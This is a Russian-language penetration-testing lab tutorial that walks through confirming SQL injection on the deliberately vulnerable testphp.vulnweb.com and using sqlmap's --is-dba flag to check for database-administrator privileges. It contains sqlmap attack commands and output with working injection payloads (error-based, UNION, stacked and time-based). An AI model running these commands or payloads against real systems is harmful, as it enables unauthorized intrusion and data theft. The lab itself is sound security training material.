Введение
В области кибербезопасности и тестирования на проникновение понимание уровня доступа, полученного в скомпрометированной системе, имеет первостепенное значение. При работе с системами баз данных одной из наиболее важных частей информации является наличие у текущего пользователя базы данных привилегий администратора базы данных (DBA). Пользователь DBA обычно имеет обширный контроль над базой данных, включая возможность создавать, изменять и удалять базы данных, таблицы и пользователей, а также читать и записывать конфиденциальные данные.
sqlmap — это инструмент тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и эксплуатации уязвимостей SQL-инъекций и захвата серверов баз данных. Помимо простого поиска уязвимостей, sqlmap предоставляет различные функции для перечисления и взаимодействия со скомпрометированной базой данных. Одной из таких важнейших функций является возможность проверить, имеет ли текущий пользователь базы данных привилегии DBA.
Эта лабораторная работа проведет вас через процесс использования sqlmap для определения наличия у текущего пользователя базы данных привилегий DBA. Вы узнаете, как установить успешную SQL-инъекцию, поймете, почему привилегии DBA важны, а затем используете флаг --is-dba в sqlmap для выполнения проверки. Наконец, вы интерпретируете результаты, чтобы понять уровень доступа.
Установление успешной инъекции в целевой системе
На этом этапе мы смоделируем установление успешной SQL-инъекции в целевой системе. Для целей этой лабораторной работы мы будем использовать известный уязвимый URL, который sqlmap может эксплуатировать. Этот начальный шаг имеет решающее значение, поскольку sqlmap нуждается в допустимой точке инъекции для взаимодействия с базой данных и выполнения дальнейшей перечислительной работы, включая проверку привилегий DBA.
Откройте терминал в директории ~/project. Мы будем использовать фиктивный URL для демонстрационных целей. В реальном сценарии вы бы определили уязвимый URL посредством разведки и ручного тестирования.
Выполните следующую команду sqlmap, чтобы подтвердить успешную инъекцию. Мы будем использовать простые флаги --url и --batch для автоматизации процесса и принятия значений по умолчанию.
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
Вы должны увидеть, как sqlmap выполняет различные тесты и в конечном итоге подтверждает, что цель уязвима к SQL-инъекции. Ищите вывод, указывающий на успешное обнаружение уязвимостей.
_
___| |_____ ___ ___ ___ {1.6.11.1#dev}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --[sqlmap]--
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.
[SNIP]
[INFO] GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N/q] N
sqlmap identified the following injection point(s) with a total of 18 HTTP(s) requests:
---
Parameter: cat (GET)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7178717871,(SELECT (ELT(1337=1337,1))),0x717a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query all columns - 10 columns
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
Type: Stacked queries
Title: MySQL > 5.0.11 stacked queries (comment)
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1;SELECT SLEEP(5)--
Type: Time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)
---
[INFO] the back-end DBMS is MySQL
[INFO] fetched data:
[INFO] the web server is Apache
[INFO] you are not using the latest version
[INFO] for the latest stable version, visit the official repository at 'https://github.com/sqlmapproject/sqlmap/'
Вывод подтверждает, что параметр cat уязвим к различным типам SQL-инъекций. Это означает, что sqlmap теперь может взаимодействовать с базой данных.
Понимание важности привилегий DBA
На этом этапе мы кратко обсудим, почему проверка привилегий DBA важна в контексте оценки безопасности или тестирования на проникновение. Понимание последствий доступа DBA помогает вам расставить приоритеты в своих действиях и оценить потенциальное влияние успешной эксплуатации.
Администратор базы данных (DBA) обычно обладает наивысшим уровнем привилегий в системе баз данных. Эти привилегии часто включают:
- Полный контроль над данными: Возможность читать, записывать, изменять и удалять любые данные в базе данных, включая конфиденциальную информацию, такую как учетные данные пользователей, финансовые отчеты или личные данные.
- Изменение схемы: Возможность создавать, изменять или удалять таблицы, представления, хранимые процедуры и другие объекты базы данных. Это может привести к манипулированию данными или даже к отказу в обслуживании.
- Управление пользователями: Возможность создавать, изменять или удалять других пользователей базы данных, а также назначать или отзывать их привилегии. Это может быть использовано для создания бэкдоров или дальнейшего повышения привилегий.
- Доступ на уровне системы (в некоторых случаях): В зависимости от системы баз данных и ее конфигурации, привилегии DBA могут распространяться на выполнение команд операционной системы или доступ к файлам на сервере, что приводит к полному компрометации системы.
Если вы обнаружите, что текущий пользователь базы данных имеет привилегии DBA, это означает критическую уязвимость. Это означает, что у вас есть обширный контроль над базой данных, который может быть использован для дальнейших атак, эксфильтрации данных или компрометации системы. И наоборот, если у пользователя нет привилегий DBA, ваш доступ ограничен, и вам, возможно, придется искать возможности для повышения привилегий.
Этот шаг не включает прямых команд, но имеет решающее значение для понимания контекста следующих шагов.
Использование флага --is-dba для проверки привилегий текущего пользователя
На этом этапе мы узнаем о конкретном флаге sqlmap, используемом для проверки привилегий DBA: --is-dba. Этот флаг предназначен для быстрого определения, имеет ли текущий пользователь базы данных, идентифицированный посредством SQL-инъекции, административные права.
Флаг --is-dba является булевым параметром. При его использовании sqlmap выполнит ряд проверок в базе данных, чтобы определить, имеет ли пользователь права уровня DBA. Результатом будет простой вывод True или False, указывающий на наличие или отсутствие этих привилегий.
Важно отметить, что sqlmap должен успешно установить точку инъекции (как мы сделали в Шаге 1), прежде чем он сможет эффективно использовать флаг --is-dba. Без действительной инъекции sqlmap не может взаимодействовать с базой данных для выполнения необходимых проверок.
Синтаксис использования этого флага прост:
sqlmap --url "<target_url>" --is-dba
Где <target_url> — это уязвимый URL, который вы определили. В нашем случае это будет http://testphp.vulnweb.com/listproducts.php?cat=1.
Этот шаг также в основном концептуальный, подготавливающий вас к фактическому выполнению на следующем шаге.
Выполнение команды для проверки статуса DBA
Теперь, когда мы понимаем флаг --is-dba, давайте выполним команду sqlmap для проверки привилегий DBA на нашей цели.
Откройте терминал в директории ~/project. Мы будем использовать тот же уязвимый URL из Шага 1.
Выполните следующую команду:
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba --batch
Флаг --batch добавлен снова для автоматизации процесса и принятия значений по умолчанию, предотвращая запросы sqlmap к пользователю во время процесса.
sqlmap теперь выполнит свои проверки. Внимательно наблюдайте за выводом. Вы должны увидеть, как sqlmap тестирует различные привилегии и в конечном итоге предоставляет четкий ответ относительно статуса DBA.
_
___| |_____ ___ ___ ___ {1.6.11.1#dev}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --[sqlmap]--
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.
[SNIP]
[INFO] GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N/q] N
[INFO] the back-end DBMS is MySQL
[INFO] fetched data:
[INFO] the web server is Apache
[INFO] you are not using the latest version
[INFO] for the latest stable version, visit the official repository at 'https://github.com/sqlmapproject/sqlmap/'
[INFO] checking if the current user is DBA
[INFO] the current user is not a DBA
[INFO] fetched data:
[INFO] the current user is DBA: False
В выводе найдите строку, которая явно указывает "the current user is DBA: False" или "the current user is DBA: True". Это результат нашей проверки.
Интерпретация результата True или False от sqlmap
На этом заключительном этапе мы интерпретируем результат True или False, полученный от проверки --is-dba в sqlmap, и поймем его значение.
После выполнения команды в Шаге 4, sqlmap выведет строку, похожую на:
[INFO] the current user is DBA: False
или
[INFO] the current user is DBA: True
Интерпретация результата:
[INFO] the current user is DBA: False: Это означает, что текущий пользователь базы данных, через которогоsqlmapвзаимодействует с базой данных, не обладает привилегиями администратора базы данных (Database Administrator). Хотя вы успешно эксплуатировали SQL-инъекцию, ваш доступ ограничен. В реальном тесте на проникновение это означало бы, что вам нужно искать другие пути, такие как методы повышения привилегий, для получения более высокого доступа.[INFO] the current user is DBA: True: Это означает, что текущий пользователь базы данных обладает привилегиями администратора базы данных. Это значительное открытие, поскольку оно подразумевает обширный контроль над базой данных. Обладая привилегиями DBA, вы потенциально можете:- Читать, изменять или удалять любые данные.
- Создавать новых пользователей с административными правами.
- Выполнять команды операционной системы (если конфигурация базы данных это позволяет).
- Проводить дальнейшую перечислительную работу для обнаружения конфиденциальной информации.
Для цели http://testphp.vulnweb.com, используемой в этой лаборатории, ожидаемый результат — False, что означает, что пользователь, под которым работает sqlmap, не имеет привилегий DBA. Это распространенный сценарий в реальных приложениях, где пользователи баз данных часто настраиваются с принципом наименьших привилегий.
Понимание этого результата имеет решающее значение для планирования ваших следующих шагов в оценке безопасности. Это помогает вам оценить серьезность уязвимости SQL-инъекции и потенциальное влияние на целевую систему.
Резюме
В этой лаборатории вы успешно научились проверять привилегии администратора базы данных (DBA) с помощью sqlmap. Вы начали с успешной SQL-инъекции на цели, что является предварительным условием для взаимодействия sqlmap с базой данных. Затем мы обсудили критическую важность выявления привилегий DBA в контексте безопасности, подчеркнув обширный контроль, который такие привилегии предоставляют над системой баз данных.
Вы узнали о специальном флаге sqlmap, --is-dba, предназначенном для этой цели. Наконец, вы выполнили команду и интерпретировали результат True или False, понимая его значение для дальнейшего тестирования на проникновение или оценки безопасности. Этот навык является основополагающим для точной оценки воздействия уязвимостей SQL-инъекции и планирования последующих действий в рамках взаимодействия по кибербезопасности.


